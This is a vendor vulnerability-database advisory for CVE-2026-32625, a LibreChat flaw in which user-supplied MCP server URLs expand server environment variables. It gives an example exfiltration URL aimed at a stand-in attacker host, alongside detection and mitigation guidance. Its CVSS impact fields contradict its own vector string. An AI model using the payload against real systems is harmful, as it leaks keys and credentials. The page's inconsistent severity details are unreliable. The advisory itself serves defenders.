A Leader in the 2026 Gartner® Magic Quadrant™ for Endpoint Protection. Six years running.Six years. Gartner® Magic Quadrant™ Leader.Find Out Why
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • AI Data Pipelines
      Security Data Pipeline for AI SIEM and Data Optimization
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2026-32625

CVE-2026-32625: LibreChat Information Disclosure Flaw

CVE-2026-32625 is an information disclosure vulnerability in LibreChat that exposes critical secrets through MCP server URL manipulation. This article covers technical details, affected versions, impact, and mitigation.

Published: June 4, 2026

CVE-2026-32625 Overview

LibreChat is an open-source ChatGPT clone that integrates multiple AI providers and supports the Model Context Protocol (MCP). CVE-2026-32625 is a critical information disclosure vulnerability [CWE-200] affecting LibreChat versions up to and including 0.8.3. The flaw exists in the MCP server integration, which resolves ${VAR} placeholders against the server's process.env during Zod schema validation of user-supplied MCP server URLs. Any authenticated user can register a malicious MCP server pointing to an attacker-controlled domain and exfiltrate sensitive secrets, including CREDS_KEY, CREDS_IV, JWT_SECRET, and MONGO_URI. The maintainers patched the issue in version 0.8.4-rc1.

Critical Impact

Authenticated attackers can exfiltrate cryptographic keys and database credentials without administrative privileges, enabling full compromise of the LibreChat installation.

Affected Products

  • LibreChat versions 0.8.3 and earlier
  • LibreChat deployments using the Model Context Protocol (MCP) integration
  • LibreChat instances where authenticated users can configure MCP servers

Discovery Timeline

  • 2026-06-02 - CVE-2026-32625 published to NVD
  • 2026-06-03 - Last updated in NVD database

Technical Details for CVE-2026-32625

Vulnerability Analysis

The vulnerability resides in the Zod schema validation layer that processes user-supplied MCP server URLs. During validation, LibreChat expands ${VAR} template placeholders by reading values directly from the server's process.env. The substitution occurs before any allow-list checks on the destination host. An authenticated user can submit a URL such as https://attacker.example/${JWT_SECRET}, causing the LibreChat backend to interpolate the environment variable into the outbound request path. When the server then connects to the MCP endpoint, the secret is transmitted in the URL query or path component to the attacker.

Because LibreChat stores its database credentials, JSON Web Token (JWT) signing keys, and credential encryption keys in environment variables, a single successful request leaks the entire cryptographic trust base. With CREDS_KEY and CREDS_IV, an attacker can decrypt stored third-party API keys. With JWT_SECRET, the attacker can forge authentication tokens for any user, including administrators. The MONGO_URI provides direct read-write access to the application's MongoDB instance.

Root Cause

The root cause is unsafe expansion of environment variable references on untrusted input. The configuration parser treats user-supplied strings as templates rather than literals, violating the principle that user input must never be evaluated against server-side secrets.

Attack Vector

The attack requires only a low-privilege authenticated account. The attacker creates an MCP server configuration whose URL contains environment variable placeholders pointing at a domain they control. When LibreChat resolves the placeholders and initiates the connection, the secrets are appended to the request and captured in the attacker's web server logs. See the GitHub Security Advisory for technical details.

Detection Methods for CVE-2026-32625

Indicators of Compromise

  • Outbound HTTPS connections from the LibreChat backend to domains not present in the organization's MCP allow-list.
  • Request URLs in egress proxy logs containing high-entropy strings resembling base64 or hex secrets in the path or query.
  • MCP server configurations stored in MongoDB whose url field contains ${ substring references.
  • Unexpected JWT issuance or session activity from accounts after MCP server creation events.

Detection Strategies

  • Audit the LibreChat MongoDB mcpServers collection for URL values containing ${ or environment variable names.
  • Inspect web server and proxy logs for outbound requests originating from the LibreChat process with embedded credential-like tokens.
  • Correlate MCP configuration creation events with subsequent outbound connections to newly observed external domains.

Monitoring Recommendations

  • Enable egress filtering and log all outbound HTTP requests from the LibreChat application container.
  • Alert on creation or modification of MCP server records by non-administrative accounts.
  • Monitor for use of the JWT_SECRET indicators such as tokens signed outside the application's normal issuance flow.

How to Mitigate CVE-2026-32625

Immediate Actions Required

  • Upgrade LibreChat to version 0.8.4-rc1 or later immediately.
  • Rotate all secrets exposed through environment variables, including CREDS_KEY, CREDS_IV, JWT_SECRET, and MONGO_URI.
  • Re-encrypt stored third-party API credentials after rotating CREDS_KEY and CREDS_IV.
  • Invalidate all existing user sessions and force re-authentication after rotating JWT_SECRET.

Patch Information

The maintainers released a fix in LibreChat 0.8.4-rc1. The patch removes environment variable interpolation from user-supplied MCP server URLs during schema validation. Review the GitHub Security Advisory GHSA-4pcc-j6m6-wcwx for the full remediation notes and commit references.

Workarounds

  • Restrict MCP server configuration to trusted administrators by disabling user-level MCP creation until the patch is applied.
  • Apply strict egress network policies that only allow outbound connections to a defined MCP server allow-list.
  • Remove sensitive secrets from process.env and load them through a runtime secrets manager that is not exposed to template interpolation.
bash
# Upgrade LibreChat to the patched release
git fetch --tags
git checkout v0.8.4-rc1
npm install
npm run build

# Rotate exposed secrets (example placeholders)
export CREDS_KEY="$(openssl rand -hex 32)"
export CREDS_IV="$(openssl rand -hex 16)"
export JWT_SECRET="$(openssl rand -hex 64)"

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeInformation Disclosure

  • Vendor/TechLibrechat

  • SeverityCRITICAL

  • CVSS Score9.6

  • EPSS Probability0.03%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
  • Impact Assessment
  • ConfidentialityLow
  • IntegrityNone
  • AvailabilityNone
  • CWE References
  • CWE-200
  • Technical References
  • GitHub Security Advisory
  • Related CVEs
  • CVE-2026-44653: LibreChat Information Disclosure Flaw

  • CVE-2026-31951: LibreChat Information Disclosure Flaw

  • CVE-2025-69221: LibreChat Information Disclosure Flaw

  • CVE-2025-54868: LibreChat Information Disclosure Flaw
Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the Most Advanced Cybersecurity Platform

See how the world’s most intelligent, autonomous cybersecurity platform can protect your organization today and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English